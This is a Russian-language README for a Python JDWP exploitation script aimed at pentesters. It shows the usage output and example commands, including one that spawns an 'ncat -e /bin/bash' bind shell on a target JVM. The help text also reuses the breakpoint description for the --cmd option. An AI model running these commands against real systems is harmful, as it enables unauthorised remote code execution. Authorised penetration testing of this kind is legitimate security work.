
Эксплойт-скрипт для открытых сервисов Java Debug Wire Protocol (JDWP), позволяющий пентестерам внедрять Java-код и выполнять произвольные команды ОС на целевых JVM.
Этот скрипт эксплуатации предназначен для использования пентестерами против активного сервиса JDWP с целью получения удалённого выполнения кода.
В целом всё довольно стандартно: скрипту требуется только интерпретатор Python 2:
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
Чтобы указать конкретный хост/порт:
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234
Эта команда только внедрит Java-код в JVM и покажет некоторую информацию, например операционную систему и версию Java. Поскольку она не выполняет внешний код или бинарные файлы, она полностью безопасна и может использоваться в качестве Proof-Of-Concept.
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
Эта команда фактически выполнит процесс ncat с указанным аргументом с правами, предоставленными работающей JVM.
Прежде чем задавать вопросы, обязательно прочитайте http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html, чтобы полностью понять протокол JDWP.